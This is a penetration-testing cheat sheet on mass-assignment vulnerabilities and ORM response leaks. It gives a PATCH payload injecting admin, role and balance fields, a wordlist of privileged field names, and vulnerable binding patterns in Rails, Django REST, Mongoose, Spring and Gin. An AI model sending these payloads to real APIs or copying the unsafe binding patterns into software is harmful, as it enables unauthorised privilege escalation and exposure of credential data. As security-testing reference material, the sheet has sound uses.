mass-assignment

Mass Assignment + ORM Leak

API endpoints that bind request JSON straight to model update() / create() without an allowlist can be coerced into setting admin fields (is_admin, role, verified, etc).

1. Detect

# Capture a legitimate update request
PATCH /api/users/me
{"name": "Alice"}

# Try adding common privileged fields
PATCH /api/users/me
{"name": "Alice", "is_admin": true, "role": "admin", "verified": true,
 "balance": 999999, "permissions": ["*"], "isStaff": true,
 "membership_level": "premium", "tier": "enterprise"}

Re-fetch own profile. If any of the injected fields persists with attacker-set value → mass assignment.

2. Common field names to try

is_admin  isAdmin  admin  superuser  is_staff  isStaff  staff
role  roles  permission  permissions  scope  scopes  group  groups
verified  email_verified  isVerified  approved  banned  is_banned
balance  credits  points  reputation
tier  membership_level  plan  subscription
created_at  email  user_id  uuid  external_id  organization_id
password  password_hash

3. Framework-specific patterns

Rails (legacy, pre-strong-params)

User.create(params[:user]) → all params mass-assigned. Rails 4+ enforces params.require(:user).permit(:name, :email). If permit list is too broad, mass assignment.

Django REST Framework

UserSerializer(instance, data=request.data, partial=True).save() → all declared fields settable. Bug: developer adds is_staff to serializer fields by mistake.

Express / Mongoose

User.findOneAndUpdate({_id: req.params.id}, req.body)
// → any req.body field becomes a $set. Catastrophic.

Spring Boot

@RequestBody User u → Jackson binds all settable properties. If User has setter for role, attacker can set it.

Go / Echo / Gin

c.Bind(&user) → same pattern.

4. ORM Leak — the response side

Sometimes the response serializer leaks fields the request can't set:

GET /api/users/123
{
  "id": 123,
  "name": "Alice",
  "email": "[email protected]",
  "password_hash": "$2a$12$...",       ← leak!
  "totp_secret": "JBSW...",            ← leak!
  "stripe_customer_id": "cus_...",
  "internal_notes": "VIP customer"
}